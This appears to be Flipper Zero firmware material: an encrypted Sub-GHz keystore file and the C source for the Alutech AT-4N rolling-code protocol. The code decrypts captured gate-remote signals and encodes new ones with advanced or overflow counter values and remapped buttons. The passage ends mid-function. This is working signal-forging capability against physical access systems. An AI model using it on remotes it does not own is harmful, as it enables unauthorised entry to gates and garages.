36F6FD37E1728BF8F7411181F39C063942F4200341AEF70D8C7F5E75F9F4867CC474BB2B0A373D86859DA7FBD0576AEA
84B20904AA979685846EA784C89C5AE3AAF1E9669B8B4D081061D863EFDB6C47
3932EBA44E1A3B1C53AF210DAD5B78DB4EB6BEC9D138B6C1DCB6A681AAE5B383
D94A3E8C9F9D74337660D49F3A39B0AFFB6F630EF879548A041FF0731558DC4F86FEDAEBD6AFC537A5C5307E450B9846
54DC1CE43222E743F72C168AC66A818E5D4305A63C90602DC67095A41A6A4B5FA2F484BCA174A686CFCD256AA88A9213
A598EE96C92DA9EF21406E1705D4C6527D7651FB6C9AB0750615937C2AECDD5B
38AA52A3EC8EC608C990D13F2FE15977C7926A355DCE89509429AD2347123CB5
E6D2647DBF847DB721263B5BD2DD355F6970228E19AC0B69AE8A669C6E2F14E7
423BB75987A636BD8696CA11E511BCD99CFC7D8E557FD18E04DCF52DD51B2E4C
F2BA90DB6F8298F92C88B5F7FB274B8650FE84C3E9542AB8B9744F2FD9BA277B9FBB9B17026FF3BF364AD625F28FDE66
@@ -0,0 +1,6 @@
Filetype: Flipper SubGhz Keystore RAW File
Version: 0
Encryption: 1
IV: B9 A8 C0 F6 9A 78 B1 CB 3E A7 69 0E 86 53 9F A7
Encrypt_data: RAW
BA2A8B783B6DB3E17DEF07EA2AE0104FAF722A07775E96338D734FFD0EA8BB29BF1A5A6451B1784AE2B51D967EFB45EAFAE2C20D5721553727C026D4009BBCB0
@@ -0,0 +1,931 @@
#include "alutech_at_4n.h"
#include <lib/subghz/blocks/const.h>
#include <lib/subghz/blocks/decoder.h>
#include <lib/subghz/blocks/encoder.h>
#include <lib/subghz/blocks/generic.h>
#include <lib/subghz/blocks/math.h>
#include <lib/subghz/blocks/custom_btn_i.h>
#define TAG "SubGhzProtocoAlutech_at_4n"
#define SUBGHZ_NO_ALUTECH_AT_4N_RAINBOW_TABLE 0xFFFFFFFFFFFFFFFF
#define SUBGHZ_ALUTECH_AT_4N_RAINBOW_TABLE_SIZE_BYTES 32
//variable used to bypass CounterMode settings if user just change Counter or Button
static bool bypass = false;
static const SubGhzBlockConst subghz_protocol_alutech_at_4n_const = {
.te_short = 400,
.te_long = 800,
.te_delta = 140,
.min_count_bit_for_found = 72,
};
struct SubGhzProtocolDecoderAlutech_at_4n {
SubGhzProtocolDecoderBase base;
SubGhzBlockDecoder decoder;
SubGhzBlockGeneric generic;
uint32_t crc;
uint16_t header_count;
const char* alutech_at_4n_rainbow_table_file_name;
};
struct SubGhzProtocolEncoderAlutech_at_4n {
SubGhzProtocolEncoderBase base;
SubGhzProtocolBlockEncoder encoder;
SubGhzBlockGeneric generic;
const char* alutech_at_4n_rainbow_table_file_name;
uint32_t crc;
};
typedef enum {
Alutech_at_4nDecoderStepReset = 0,
Alutech_at_4nDecoderStepCheckPreambula,
Alutech_at_4nDecoderStepSaveDuration,
Alutech_at_4nDecoderStepCheckDuration,
} Alutech_at_4nDecoderStep;
static uint8_t alutech_at4n_counter_mode = 0;
const SubGhzProtocolDecoder subghz_protocol_alutech_at_4n_decoder = {
.alloc = subghz_protocol_decoder_alutech_at_4n_alloc,
.free = subghz_protocol_decoder_alutech_at_4n_free,
.feed = subghz_protocol_decoder_alutech_at_4n_feed,
.reset = subghz_protocol_decoder_alutech_at_4n_reset,
.get_hash_data = subghz_protocol_decoder_alutech_at_4n_get_hash_data,
.serialize = subghz_protocol_decoder_alutech_at_4n_serialize,
.deserialize = subghz_protocol_decoder_alutech_at_4n_deserialize,
.get_string = subghz_protocol_decoder_alutech_at_4n_get_string,
};
const SubGhzProtocolEncoder subghz_protocol_alutech_at_4n_encoder = {
.alloc = subghz_protocol_encoder_alutech_at_4n_alloc,
.free = subghz_protocol_encoder_alutech_at_4n_free,
.deserialize = subghz_protocol_encoder_alutech_at_4n_deserialize,
.stop = subghz_protocol_encoder_alutech_at_4n_stop,
.yield = subghz_protocol_encoder_alutech_at_4n_yield,
};
const SubGhzProtocol subghz_protocol_alutech_at_4n = {
.name = SUBGHZ_PROTOCOL_ALUTECH_AT_4N_NAME,
.type = SubGhzProtocolTypeDynamic,
.flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
.decoder = &subghz_protocol_alutech_at_4n_decoder,
.encoder = &subghz_protocol_alutech_at_4n_encoder,
};
static void subghz_protocol_alutech_at_4n_remote_controller(
SubGhzBlockGeneric* instance,
uint8_t crc,
const char* file_name);
void* subghz_protocol_encoder_alutech_at_4n_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolEncoderAlutech_at_4n* instance =
malloc(sizeof(SubGhzProtocolEncoderAlutech_at_4n));
instance->base.protocol = &subghz_protocol_alutech_at_4n;
instance->generic.protocol_name = instance->base.protocol->name;
instance->encoder.repeat = 3;
instance->encoder.size_upload = 512;
instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
instance->encoder.is_running = false;
instance->alutech_at_4n_rainbow_table_file_name =
subghz_environment_get_alutech_at_4n_rainbow_table_file_name(environment);
if(instance->alutech_at_4n_rainbow_table_file_name) {
FURI_LOG_I(
TAG, "Loading rainbow table from %s", instance->alutech_at_4n_rainbow_table_file_name);
}
return instance;
}
void subghz_protocol_encoder_alutech_at_4n_free(void* context) {
furi_assert(context);
SubGhzProtocolEncoderAlutech_at_4n* instance = context;
free(instance->encoder.upload);
free(instance);
}
void subghz_protocol_encoder_alutech_at_4n_stop(void* context) {
SubGhzProtocolEncoderAlutech_at_4n* instance = context;
instance->encoder.is_running = false;
}
LevelDuration subghz_protocol_encoder_alutech_at_4n_yield(void* context) {
SubGhzProtocolEncoderAlutech_at_4n* instance = context;
if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
instance->encoder.is_running = false;
return level_duration_reset();
}
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
if(++instance->encoder.front == instance->encoder.size_upload) {
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
instance->encoder.front = 0;
}
return ret;
}
/**
* Read bytes from buffer array with rainbow table
* @param buffer Pointer to decrypted magic data buffer
* @param number_alutech_at_4n_magic_data number in the array
* @return alutech_at_4n_magic_data
*/
static uint32_t subghz_protocol_alutech_at_4n_get_magic_data_from_buffer(
uint8_t* buffer,
uint8_t number_alutech_at_4n_magic_data) {
uint32_t address = number_alutech_at_4n_magic_data * sizeof(uint32_t);
uint32_t alutech_at_4n_magic_data = 0;
for(size_t i = address; i < (address + sizeof(uint32_t)); i++) {
alutech_at_4n_magic_data = (alutech_at_4n_magic_data << 8) | buffer[i];
}
return alutech_at_4n_magic_data;
}
static uint8_t subghz_protocol_alutech_at_4n_crc(uint64_t data) {
uint8_t* p = (uint8_t*)&data;
uint8_t crc = 0xff;
for(uint8_t y = 0; y < 8; y++) {
crc = crc ^ p[y];
for(uint8_t i = 0; i < 8; i++) {
if((crc & 0x80) != 0) {
crc <<= 1;
crc ^= 0x31;
} else {
crc <<= 1;
}
}
}
return crc;
}
static uint8_t subghz_protocol_alutech_at_4n_decrypt_data_crc(uint8_t data) {
uint8_t crc = data;
for(uint8_t i = 0; i < 8; i++) {
if((crc & 0x80) != 0) {
crc <<= 1;
crc ^= 0x31;
} else {
crc <<= 1;
}
}
return ~crc;
}
static uint64_t subghz_protocol_alutech_at_4n_decrypt(uint64_t data, const char* file_name) {
// load and decrypt rainbow table from file to buffer array in RAM
if(!file_name) return SUBGHZ_NO_ALUTECH_AT_4N_RAINBOW_TABLE;
uint8_t buffer[SUBGHZ_ALUTECH_AT_4N_RAINBOW_TABLE_SIZE_BYTES] = {0};
uint8_t* buffer_ptr = (uint8_t*)&buffer;
if(subghz_keystore_raw_get_data(
file_name, 0, buffer, SUBGHZ_ALUTECH_AT_4N_RAINBOW_TABLE_SIZE_BYTES)) {
} else {
return SUBGHZ_NO_ALUTECH_AT_4N_RAINBOW_TABLE;
}
uint8_t* p = (uint8_t*)&data;
uint32_t data1 = p[0] << 24 | p[1] << 16 | p[2] << 8 | p[3];
uint32_t data2 = p[4] << 24 | p[5] << 16 | p[6] << 8 | p[7];
uint32_t data3 = 0;
uint32_t magic_data[] = {
subghz_protocol_alutech_at_4n_get_magic_data_from_buffer(buffer_ptr, 0),
subghz_protocol_alutech_at_4n_get_magic_data_from_buffer(buffer_ptr, 1),
subghz_protocol_alutech_at_4n_get_magic_data_from_buffer(buffer_ptr, 2),
subghz_protocol_alutech_at_4n_get_magic_data_from_buffer(buffer_ptr, 3),
subghz_protocol_alutech_at_4n_get_magic_data_from_buffer(buffer_ptr, 4),
subghz_protocol_alutech_at_4n_get_magic_data_from_buffer(buffer_ptr, 5)};
uint32_t i = magic_data[0];
do {
data2 = data2 -
((magic_data[1] + (data1 << 4)) ^ ((magic_data[2] + (data1 >> 5)) ^ (data1 + i)));
data3 = data2 + i;
i += magic_data[3];
data1 =
data1 - ((magic_data[4] + (data2 << 4)) ^ ((magic_data[5] + (data2 >> 5)) ^ data3));
} while(i != 0);
p[0] = (uint8_t)(data1 >> 24);
p[1] = (uint8_t)(data1 >> 16);
p[3] = (uint8_t)data1;
p[4] = (uint8_t)(data2 >> 24);
p[5] = (uint8_t)(data2 >> 16);
p[2] = (uint8_t)(data1 >> 8);
p[6] = (uint8_t)(data2 >> 8);
p[7] = (uint8_t)data2;
return data;
}
static uint64_t subghz_protocol_alutech_at_4n_encrypt(uint64_t data, const char* file_name) {
// load and decrypt rainbow table from file to buffer array in RAM
if(!file_name) return SUBGHZ_NO_ALUTECH_AT_4N_RAINBOW_TABLE;
uint8_t buffer[SUBGHZ_ALUTECH_AT_4N_RAINBOW_TABLE_SIZE_BYTES] = {0};
uint8_t* buffer_ptr = (uint8_t*)&buffer;
if(subghz_keystore_raw_get_data(
file_name, 0, buffer, SUBGHZ_ALUTECH_AT_4N_RAINBOW_TABLE_SIZE_BYTES)) {
} else {
return SUBGHZ_NO_ALUTECH_AT_4N_RAINBOW_TABLE;
}
uint8_t* p = (uint8_t*)&data;
uint32_t data1 = 0;
uint32_t data2 = p[0] << 24 | p[1] << 16 | p[2] << 8 | p[3];
uint32_t data3 = p[4] << 24 | p[5] << 16 | p[6] << 8 | p[7];
uint32_t magic_data[] = {
subghz_protocol_alutech_at_4n_get_magic_data_from_buffer(buffer_ptr, 6),
subghz_protocol_alutech_at_4n_get_magic_data_from_buffer(buffer_ptr, 4),
subghz_protocol_alutech_at_4n_get_magic_data_from_buffer(buffer_ptr, 5),
subghz_protocol_alutech_at_4n_get_magic_data_from_buffer(buffer_ptr, 1),
subghz_protocol_alutech_at_4n_get_magic_data_from_buffer(buffer_ptr, 2),
subghz_protocol_alutech_at_4n_get_magic_data_from_buffer(buffer_ptr, 0)};
do {
data1 = data1 + magic_data[0];
data2 = data2 + ((magic_data[1] + (data3 << 4)) ^
((magic_data[2] + (data3 >> 5)) ^ (data1 + data3)));
data3 = data3 + ((magic_data[3] + (data2 << 4)) ^
((magic_data[4] + (data2 >> 5)) ^ (data1 + data2)));
} while(data1 != magic_data[5]);
p[0] = (uint8_t)(data2 >> 24);
p[1] = (uint8_t)(data2 >> 16);
p[3] = (uint8_t)data2;
p[4] = (uint8_t)(data3 >> 24);
p[5] = (uint8_t)(data3 >> 16);
p[2] = (uint8_t)(data2 >> 8);
p[6] = (uint8_t)(data3 >> 8);
p[7] = (uint8_t)data3;
return data;
}
static bool subghz_protocol_alutech_at_4n_gen_data(
SubGhzProtocolEncoderAlutech_at_4n* instance,
uint8_t btn) {
uint64_t data = subghz_protocol_blocks_reverse_key(instance->generic.data, 64);
data = subghz_protocol_alutech_at_4n_decrypt(
data, instance->alutech_at_4n_rainbow_table_file_name);
uint8_t crc = data >> 56;
if(crc == subghz_protocol_alutech_at_4n_decrypt_data_crc((uint8_t)((data >> 8) & 0xFF))) {
instance->generic.btn = (uint8_t)data & 0xFF;
instance->generic.cnt = (uint16_t)(data >> 8) & 0xFFFF;
instance->generic.serial = (uint32_t)(data >> 24) & 0xFFFFFFFF;
}
// if we change counter/button in SignalSettings menu then we must bypass counter_modes, just gen and save signal file.
if(subghz_block_generic_global.cnt_need_override) bypass = true;
if((alutech_at4n_counter_mode == 0) || bypass) {
// Check for OFEX (overflow experimental) mode
if((furi_hal_subghz_get_rolling_counter_mult() != -0x7FFFFFFF) || bypass) {
bypass = false;
// standart counter mode. PULL data from subghz_block_generic_global variables
if(!subghz_block_generic_global_counter_override_get(&instance->generic.cnt)) {
// if counter_override_get return FALSE then counter was not changed and we increase counter by standart mult value
if((instance->generic.cnt + furi_hal_subghz_get_rolling_counter_mult()) > 0xFFFF) {
instance->generic.cnt = 0;
} else {
instance->generic.cnt += furi_hal_subghz_get_rolling_counter_mult();
}
}
} else {
//OFFEX mode
if((instance->generic.cnt + 0x1) > 0xFFFF) {
instance->generic.cnt = 0;
} else if(instance->generic.cnt >= 0x1 && instance->generic.cnt != 0xFFFE) {
instance->generic.cnt = 0xFFFE;
} else {
instance->generic.cnt++;
}
}
} else if(alutech_at4n_counter_mode == 1) {
// Mode 1
// 0000 / 0001 / FFFE / FFFF
if((instance->generic.cnt + 0x1) > 0xFFFF) {
instance->generic.cnt = 0;
} else if(instance->generic.cnt >= 0x1 && instance->generic.cnt != 0xFFFE) {
instance->generic.cnt = 0xFFFE;
} else {
instance->generic.cnt++;
}
} else {
// Mode 2
// 0x0000 / 0x0001 / 0x0002 / 0x0003 / 0x0004 / 0x0005
if(instance->generic.cnt >= 0x0005) {
instance->generic.cnt = 0;
} else {
instance->generic.cnt++;
}
}
crc = subghz_protocol_alutech_at_4n_decrypt_data_crc((uint8_t)(instance->generic.cnt & 0xFF));
data = (uint64_t)crc << 56 | (uint64_t)instance->generic.serial << 24 |
(uint32_t)instance->generic.cnt << 8 | btn;
data = subghz_protocol_alutech_at_4n_encrypt(
data, instance->alutech_at_4n_rainbow_table_file_name);
crc = subghz_protocol_alutech_at_4n_crc(data);
instance->generic.data = subghz_protocol_blocks_reverse_key(data, 64);
instance->crc = subghz_protocol_blocks_reverse_key(crc, 8);
return true;
}
bool subghz_protocol_alutech_at_4n_create_data(
void* context,
FlipperFormat* flipper_format,
uint32_t serial,
uint8_t btn,
uint16_t cnt,
SubGhzRadioPreset* preset) {
furi_assert(context);
SubGhzProtocolEncoderAlutech_at_4n* instance = context;
instance->generic.serial = serial;
instance->generic.cnt = cnt;
instance->generic.data_count_bit = 72;
if(subghz_protocol_alutech_at_4n_gen_data(instance, btn)) {
if((subghz_block_generic_serialize(&instance->generic, flipper_format, preset) !=
SubGhzProtocolStatusOk)) {
FURI_LOG_E(TAG, "Serialize error");
return false;
}
if(!flipper_format_rewind(flipper_format)) {
FURI_LOG_E(TAG, "Rewind error");
return false;
}
if(!flipper_format_insert_or_update_uint32(flipper_format, "CRC", &instance->crc, 1)) {
FURI_LOG_E(TAG, "Unable to add CRC");
return false;
}
}
return true;
}
/**
* Defines the button value for the current btn_id
* Basic set | 0x11 | 0x22 | 0xFF | 0x44 | 0x33 |
* @return Button code
*/
static uint8_t subghz_protocol_alutech_at_4n_get_btn_code(void);
/**
* Generating an upload from data.
* @param instance Pointer to a SubGhzProtocolEncoderAlutech instance
* @return true On success
*/
static bool subghz_protocol_encoder_alutech_at_4n_get_upload(
SubGhzProtocolEncoderAlutech_at_4n* instance,
uint8_t btn) {
furi_assert(instance);
// Save original button for later use
if(subghz_custom_btn_get_original() == 0) {
// subghz_custom_btn_set_original(btn);
}
btn = subghz_protocol_alutech_at_4n_get_btn_code();
// override button if we change it with signal settings button editor
if(subghz_block_generic_global_button_override_get(&btn)) {
bypass = true;
FURI_LOG_D(TAG, "Button sucessfully changed to 0x%X", btn);
}
// Gen new key
if(!subghz_protocol_alutech_at_4n_gen_data(instance, btn)) {
return false;
}
size_t index = 0;
// Send preambula
for(uint8_t i = 0; i < 12; ++i) {
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_alutech_at_4n_const.te_short); // 1
instance->encoder.upload[index++] = level_duration_make(
false, (uint32_t)subghz_protocol_alutech_at_4n_const.te_short); // 0
}
instance->encoder.upload[index - 1].duration +=
(uint32_t)subghz_protocol_alutech_at_4n_const.te_short * 9;
// Send key data
for(uint8_t i = 64; i > 0; --i) {
if(bit_read(instance->generic.data, i - 1)) {
//1
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_alutech_at_4n_const.te_short);
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_alutech_at_4n_const.te_long);
} else {
//0
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_alutech_at_4n_const.te_long);
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_alutech_at_4n_const.te_short);
}
}
// Send crc
for(uint8_t i = 8; i > 0; --i) {
if(bit_read(instance->crc, i - 1)) {
//1
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_alutech_at_4n_const.te_short);
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_alutech_at_4n_const.te_long);
} else {
//0
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_alutech_at_4n_const.te_long);
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_alutech_at_4n_const.te_short);
}
}
// Inter-frame silence
instance->encoder.upload[index - 1].duration +=
(uint32_t)subghz_protocol_alutech_at_4n_const.te_long * 20;
size_t size_upload = index;
if(size_upload > instance->encoder.size_upload) {
FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
return false;
} else {
instance->encoder.size_upload = size_upload;
}
return true;
}
SubGhzProtocolStatus subghz_protocol_encoder_alutech_at_4n_deserialize(
void* context,
FlipperFormat* flipper_format) {
furi_assert(context);
SubGhzProtocolEncoderAlutech_at_4n* instance = context;
SubGhzProtocolStatus res = SubGhzProtocolStatusError;
do {
if(SubGhzProtocolStatusOk !=
subghz_block_generic_deserialize(&instance->generic, flipper_format)) {
FURI_LOG_E(TAG, "Deserialize error");
break;
}
if(!flipper_format_read_uint32(flipper_format, "CRC", (uint32_t*)&instance->crc, 1)) {
FURI_LOG_E(TAG, "Missing CRC");
break;
}
// Optional value
flipper_format_read_uint32(
flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
if(!flipper_format_rewind(flipper_format)) {
FURI_LOG_E(TAG, "Rewind error");
break;
}
uint32_t tmp_counter_mode;
if(flipper_format_read_uint32(flipper_format, "CounterMode", &tmp_counter_mode, 1)) {
alutech_at4n_counter_mode = (uint8_t)tmp_counter_mode;
} else {
alutech_at4n_counter_mode = 0;
}
subghz_protocol_alutech_at_4n_remote_controller(
&instance->generic, instance->crc, instance->alutech_at_4n_rainbow_table_file_name);
subghz_protocol_encoder_alutech_at_4n_get_upload(instance, instance->generic.btn);
if(!flipper_format_rewind(flipper_format)) {
FURI_LOG_E(TAG, "Rewind error");
break;
}
uint8_t key_data[sizeof(uint64_t)] = {0};
for(size_t i = 0; i < sizeof(uint64_t); i++) {
key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data >> i * 8) & 0xFF;
}
if(!flipper_format_update_hex(flipper_format, "Key", key_data, sizeof(uint64_t))) {
FURI_LOG_E(TAG, "Unable to add Key");
break;
}
if(!flipper_format_rewind(flipper_format)) {
FURI_LOG_E(TAG, "Rewind error");
break;
}
if(!flipper_format_update_uint32(flipper_format, "CRC", &instance->crc, 1)) {
FURI_LOG_E(TAG, "Unable to add CRC");
break;
}
instance->encoder.is_running = true;
res = SubGhzProtocolStatusOk;
} while(false);
return res;
}
void* subghz_protocol_decoder_alutech_at_4n_alloc(SubGhzEnvironment* environment) {
SubGhzProtocolDecoderAlutech_at_4n* instance =
malloc(sizeof(SubGhzProtocolDecoderAlutech_at_4n));
instance->base.protocol = &subghz_protocol_alutech_at_4n;
instance->generic.protocol_name = instance->base.protocol->name;
instance->alutech_at_4n_rainbow_table_file_name =
subghz_environment_get_alutech_at_4n_rainbow_table_file_name(environment);
if(instance->alutech_at_4n_rainbow_table_file_name) {
FURI_LOG_I(
TAG, "Loading rainbow table from %s", instance->alutech_at_4n_rainbow_table_file_name);
}
return instance;
}
void subghz_protocol_decoder_alutech_at_4n_free(void* context) {
furi_assert(context);
SubGhzProtocolDecoderAlutech_at_4n* instance = context;
instance->alutech_at_4n_rainbow_table_file_name = NULL;
free(instance);
}
void subghz_protocol_decoder_alutech_at_4n_reset(void* context) {
furi_assert(context);
SubGhzProtocolDecoderAlutech_at_4n* instance = context;
instance->decoder.parser_step = Alutech_at_4nDecoderStepReset;
}
void subghz_protocol_decoder_alutech_at_4n_feed(void* context, bool level, uint32_t duration) {
furi_assert(context);
SubGhzProtocolDecoderAlutech_at_4n* instance = context;
switch(instance->decoder.parser_step) {
case Alutech_at_4nDecoderStepReset:
if((level) && DURATION_DIFF(duration, subghz_protocol_alutech_at_4n_const.te_short) <
subghz_protocol_alutech_at_4n_const.te_delta) {
instance->decoder.parser_step = Alutech_at_4nDecoderStepCheckPreambula;
instance->header_count++;
}
break;
case Alutech_at_4nDecoderStepCheckPreambula:
if((!level) && (DURATION_DIFF(duration, subghz_protocol_alutech_at_4n_const.te_short) <
subghz_protocol_alutech_at_4n_const.te_delta)) {
instance->decoder.parser_step = Alutech_at_4nDecoderStepReset;
break;
}
if((instance->header_count > 9) &&
(DURATION_DIFF(duration, subghz_protocol_alutech_at_4n_const.te_short * 10) <
subghz_protocol_alutech_at_4n_const.te_delta * 10)) {
// Found header
instance->decoder.parser_step = Alutech_at_4nDecoderStepSaveDuration;
instance->decoder.decode_data = 0;
instance->decoder.decode_count_bit = 0;
} else {
instance->decoder.parser_step = Alutech_at_4nDecoderStepReset;
instance->header_count = 0;
}
break;
case Alutech_at_4nDecoderStepSaveDuration:
if(level) {
instance->decoder.te_last = duration;
instance->decoder.parser_step = Alutech_at_4nDecoderStepCheckDuration;
}
break;
case Alutech_at_4nDecoderStepCheckDuration:
if(!level) {
if(duration >= ((uint32_t)subghz_protocol_alutech_at_4n_const.te_short * 2 +
subghz_protocol_alutech_at_4n_const.te_delta)) {
//add last bit
if(DURATION_DIFF(
instance->decoder.te_last, subghz_protocol_alutech_at_4n_const.te_short) <
subghz_protocol_alutech_at_4n_const.te_delta) {
subghz_protocol_blocks_add_bit(&instance->decoder, 1);
} else if(
DURATION_DIFF(
instance->decoder.te_last, subghz_protocol_alutech_at_4n_const.te_long) <
subghz_protocol_alutech_at_4n_const.te_delta * 2) {
subghz_protocol_blocks_add_bit(&instance->decoder, 0);
}
// Found end TX
instance->decoder.parser_step = Alutech_at_4nDecoderStepReset;
if(instance->decoder.decode_count_bit ==
subghz_protocol_alutech_at_4n_const.min_count_bit_for_found) {
if(instance->generic.data != instance->generic.data_2) {
instance->generic.data = instance->generic.data_2;
instance->generic.data_count_bit = instance->decoder.decode_count_bit;
instance->crc = instance->decoder.decode_data;
if(instance->base.callback)
instance->base.callback(&instance->base, instance->base.context);
}
instance->decoder.decode_data = 0;
instance->decoder.decode_count_bit = 0;
instance->header_count = 0;
}
break;
} else if(
(DURATION_DIFF(
instance->decoder.te_last, subghz_protocol_alutech_at_4n_const.te_short) <
subghz_protocol_alutech_at_4n_const.te_delta) &&
(DURATION_DIFF(duration, subghz_protocol_alutech_at_4n_const.te_long) <
subghz_protocol_alutech_at_4n_const.te_delta * 2)) {
subghz_protocol_blocks_add_bit(&instance->decoder, 1);
if(instance->decoder.decode_count_bit == 64) {
instance->generic.data_2 = instance->decoder.decode_data;
instance->decoder.decode_data = 0;
}
instance->decoder.parser_step = Alutech_at_4nDecoderStepSaveDuration;
} else if(
(DURATION_DIFF(
instance->decoder.te_last, subghz_protocol_alutech_at_4n_const.te_long) <
subghz_protocol_alutech_at_4n_const.te_delta * 2) &&
(DURATION_DIFF(duration, subghz_protocol_alutech_at_4n_const.te_short) <
subghz_protocol_alutech_at_4n_const.te_delta)) {
subghz_protocol_blocks_add_bit(&instance->decoder, 0);
if(instance->decoder.decode_count_bit == 64) {
instance->generic.data_2 = instance->decoder.decode_data;
instance->decoder.decode_data = 0;
}
instance->decoder.parser_step = Alutech_at_4nDecoderStepSaveDuration;
} else {
instance->decoder.parser_step = Alutech_at_4nDecoderStepReset;
instance->header_count = 0;
}
} else {
instance->decoder.parser_step = Alutech_at_4nDecoderStepReset;
instance->header_count = 0;
}
break;
}
}
/**
* Analysis of received data
* @param instance Pointer to a SubGhzBlockGeneric* instance
* @param file_name Full path to rainbow table the file
*/
static void subghz_protocol_alutech_at_4n_remote_controller(
SubGhzBlockGeneric* instance,
uint8_t crc,
const char* file_name) {
/**
* Message format 72bit LSB first
* data crc
* XXXXXXXXXXXXXXXX CC
*
* For analysis, you need to turn the package MSB
* in decoded messages format
*
* crc1 serial cnt key
* cc SSSSSSSS XXxx BB
*
* crc1 is calculated from the lower part of cnt
* key 1=0xff, 2=0x11, 3=0x22, 4=0x33, 5=0x44
*
*/
bool status = false;
uint64_t data = subghz_protocol_blocks_reverse_key(instance->data, 64);
crc = subghz_protocol_blocks_reverse_key(crc, 8);
if(crc == subghz_protocol_alutech_at_4n_crc(data)) {
data = subghz_protocol_alutech_at_4n_decrypt(data, file_name);
status = true;
}
if(status && ((uint8_t)(data >> 56) ==
subghz_protocol_alutech_at_4n_decrypt_data_crc((uint8_t)((data >> 8) & 0xFF)))) {
instance->btn = (uint8_t)data & 0xFF;
instance->cnt = (uint16_t)(data >> 8) & 0xFFFF;
instance->serial = (uint32_t)(data >> 24) & 0xFFFFFFFF;
}
if(!status) {
instance->btn = 0;
instance->cnt = 0;
instance->serial = 0;
}
// Save original button for later use
if(subghz_custom_btn_get_original() == 0) {
// subghz_custom_btn_set_original(instance->btn);
}
// subghz_custom_btn_set_max(4);
}
uint8_t subghz_protocol_decoder_alutech_at_4n_get_hash_data(void* context) {
furi_assert(context);
SubGhzProtocolDecoderAlutech_at_4n* instance = context;
return (uint8_t)instance->crc;
}
SubGhzProtocolStatus subghz_protocol_decoder_alutech_at_4n_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset) {
furi_assert(context);
SubGhzProtocolDecoderAlutech_at_4n* instance = context;
SubGhzProtocolStatus res =
subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
if(!flipper_format_rewind(flipper_format)) {
FURI_LOG_E(TAG, "Rewind error");
res = SubGhzProtocolStatusErrorParserOthers;
}
if((res == SubGhzProtocolStatusOk) &&
!flipper_format_insert_or_update_uint32(flipper_format, "CRC", &instance->crc, 1)) {
FURI_LOG_E(TAG, "Unable to add CRC");
res = SubGhzProtocolStatusErrorParserOthers;
}
return res;
}
SubGhzProtocolStatus subghz_protocol_decoder_alutech_at_4n_deserialize(
void* context,
FlipperFormat* flipper_format) {
furi_assert(context);
SubGhzProtocolDecoderAlutech_at_4n* instance = context;
SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
do {
ret = subghz_block_generic_deserialize_check_count_bit(
&instance->generic,
flipper_format,
subghz_protocol_alutech_at_4n_const.min_count_bit_for_found);
if(ret != SubGhzProtocolStatusOk) {
break;
}
if(!flipper_format_rewind(flipper_format)) {
FURI_LOG_E(TAG, "Rewind error");
ret = SubGhzProtocolStatusErrorParserOthers;
break;
}
if(!flipper_format_read_uint32(flipper_format, "CRC", (uint32_t*)&instance->crc, 1)) {
FURI_LOG_E(TAG, "Missing CRC");
ret = SubGhzProtocolStatusErrorParserOthers;
break;
}
if(!flipper_format_rewind(flipper_format)) {
FURI_LOG_E(TAG, "Rewind error");
break;
}
uint32_t tmp_counter_mode;
if(flipper_format_read_uint32(flipper_format, "CounterMode", &tmp_counter_mode, 1)) {
alutech_at4n_counter_mode = (uint8_t)tmp_counter_mode;
} else {
alutech_at4n_counter_mode = 0;
}
} while(false);
return ret;
}
static uint8_t subghz_protocol_alutech_at_4n_get_btn_code(void) {
uint8_t custom_btn_id = subghz_custom_btn_get();
uint8_t original_btn_code = subghz_custom_btn_get_original();
uint8_t btn = original_btn_code;
// Set custom button
if((custom_btn_id == SUBGHZ_CUSTOM_BTN_OK) && (original_btn_code != 0)) {
// Restore original button code
btn = original_btn_code;
} else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_UP) {
switch(original_btn_code) {
case 0x11:
btn = 0x22;
break;
case 0x22:
btn = 0x11;
break;
case 0xFF:
btn = 0x11;
break;
case 0x44:
btn = 0x11;
break;
case 0x33:
btn = 0x11;
break;
default:
break;
}
} else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_DOWN) {
switch(original_btn_code) {
case 0x11:
btn = 0x44;
break;
case 0x22:
btn = 0x44;
break;
case 0xFF:
btn = 0x44;
break;
case 0x44:
btn = 0xFF;
break;
case 0x33:
btn = 0x44;
break;
default:
break;
}
} else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_LEFT) {
switch(original_btn_code) {
case 0x11:
btn = 0x33;
break;
case 0x22:
btn = 0x33;
break;
case 0xFF:
btn = 0x33;
break;
case 0x44:
btn = 0x33;
break;
case 0x33:
btn = 0x22;
break;
default:
break;
}
} else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_RIGHT) {
switch(original_btn_code) {
case 0x11:
btn = 0xFF;
break;
case 0x22:
btn = 0xFF;
break;
case 0xFF:
btn = 0x22;
break;
case 0x44:
btn = 0x22;
break;
case 0x33:
btn = 0xFF;
break;
default:
break;
}
}
return btn;
}
void subghz_protocol_decoder_alutech_at_4n_get_string(void* context, FuriString* output) {
furi_assert(context);
SubGhzProtocolDecoderAlutech_at_4n* instance = context;
subghz_protocol_alutech_at_4n_remote_controller(
